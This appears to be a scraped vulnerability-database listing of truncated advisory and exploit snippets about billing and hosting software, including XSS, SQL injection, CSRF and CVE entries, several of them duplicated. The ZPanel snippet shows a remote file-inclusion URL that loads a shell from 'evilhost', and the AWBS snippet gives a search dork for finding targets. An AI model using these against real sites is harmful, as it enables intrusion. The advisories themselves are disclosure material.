ExpressionEngine: Cross Site Scripting (Stored)

Occurred in the URL : https://store.ellislab.com/billing After adding a product to the cart proceed to add the billing and card information and in the card fields give your card details respectively and in the fields 1. First name 2. Last name 3. Street Address 4. Apt/Suite/ 5. City. Give the...

ASTPP VoIP Billing (4cf207a) Multiple Vulnerabilities

No description provided by source. Title: ====== ASTPP VoIP Billing 4cf207a - Multiple Web Vulnerabilities Date: ===== 2012-08-17 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=687 VL-ID: ===== 687 Common Vulnerability Scoring System: ==================================...

Advanced Webhost Billing System 2.2.2 Contact.PHP Multiple Cross-Site Scripting Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/19226/info Advanced Webhost Billing System AWBS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage any of these issues to have...

OpenEMR 3.2.0 - SQL Injection and XSS

No description provided by source. Exploit Title: OpenEMR v3.2.0 Multiple Vulnerabilities Date: December 26, 2010 Author: Blake Software Link: http://sourceforge.net/projects/openemr/ Version: 3.2.0 Tested on: Windows XP SP3 Description: Open Source Practice Management, Electronic Medical Record,...

ZPanel <= 2.5 - Remote SQL Injection Exploit

No description provided by source. Tested and working /str0ke It is possible to include arbitrary file: local - in version ZPanel = 2.5 beta 10, remote - in ZPanel 2.0. exploit for v 2.0 http://localhost/zpanel/zpanel.php?page=http://evilhost/shell where http://evilhost/shell.php - evil php code...

BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability

No description provided by source. ? BoxBilling 3.6.11 modnotification Stored Cross-Site Scripting Vulnerability Vendor: BoxBilling Product web page: http://www.boxbilling.com Affected version: 3.6.11 modnotification 1.0.0 Summary: BoxBilling is a free billing, invoicing & client management...

AWBS 2.9.2 (cart.php) Blind SQL Injection Vulnerability

No description provided by source. AWBS 2.9.2 Blind SQL Injection 0day ============================================================================================= Dork....: inurl:/cart?ca=addother&oid= Date....: 01-16-2011 Author..: ShivX Contact.: shivanxatgmaildotcom Vendor..:...

Cloudflare: CSRF and No password requirement in this URL Billing Info

An attacker can launch requests on his victim's behalf on the billing info page. There is a requirement of CSRF token on this page https://www.cloudflare.com/billing-information Awaiting your reply...

Srun3000计费系统 命令执行1

简要描述： Srun3000计费系统 命令执行1 详细说明： /srun3/web/userinfo.php /tmp/x 这个应该是是在管理员的模块上 不需要登录的 端口好像是8080本地为了测试方便就直接把这个文件提取出来测试的 因为安装不便 注：经测试uid6也可以命令执行 userinfoen.php userinfo1.php 存在同样问题...

HVAC Vendor: Data Connection to Target was Billing System

The heating, ventilation and air conditioning contractor linked to the Target breach said its data connection to the giant retailer was “exclusively for electronic billing, contract submission and project management,” the company’s president and owner said yesterday. Ross E. Fazio said in a...

CVE-2010-5292

Amberdms Billing System ABS before 1.4.1, when a multi-instance installation is configured, might allow local users to obtain sensitive information by reading the cache in between runs of the include/cron/servicesusage.php cron job...

CVE-2010-5291

Amberdms Billing System ABS before 1.4.1 does not properly implement blacklisting after detection of invalid login attempts, which makes it easier for remote attackers to obtain access via a brute-force approach...

Design/Logic Flaw

Amberdms Billing System ABS before 1.4.1, when a multi-instance installation is configured, might allow local users to obtain sensitive information by reading the cache in between runs of the include/cron/servicesusage.php cron job...

Design/Logic Flaw

Amberdms Billing System ABS before 1.4.1 does not properly implement blacklisting after detection of invalid login attempts, which makes it easier for remote attackers to obtain access via a brute-force approach...

CVE-2010-5292

Amberdms Billing System (ABS) prior to version 1.4.1, in multi-instance setups, allows local users to read cached data during the cron-triggered services_usage.php run, exposing sensitive information. Affected component is the cache between cron executions; root cause described as reading cache b...

CVE-2010-5291

Affected software: Amberdms Billing System (ABS). Vulnerability: improper handling of login invalidation after detection, i.e., blacklisting is not properly implemented. Root cause: failure to blacklist after failed login attempts. Impact: enables remote attackers to gain access via brute-force a...

CVE-2010-5291

Amberdms Billing System ABS before 1.4.1 does not properly implement blacklisting after detection of invalid login attempts, which makes it easier for remote attackers to obtain access via a brute-force approach...

CVE-2010-5292

Amberdms Billing System ABS before 1.4.1, when a multi-instance installation is configured, might allow local users to obtain sensitive information by reading the cache in between runs of the include/cron/servicesusage.php cron job...

RootPanel SQL Injection Vulnerability

RootPanel suffers from a remote SQL injection vulnerability that allows for account takeover. ============================================================ RootPanel All versions SQL injection/Account takeover. Discovery: AkaStep and CAMOUFL4G3 Vendor: http://www.rootpanel.ru/...

RootPanel SQL Injection

============================================================ RootPanel All versions SQL injection/Account takeover. Discovery: AkaStep and CAMOUFL4G3 Vendor: http://www.rootpanel.ru/ ============================================================ What is RootPanel ? RootPanel is professional hosting...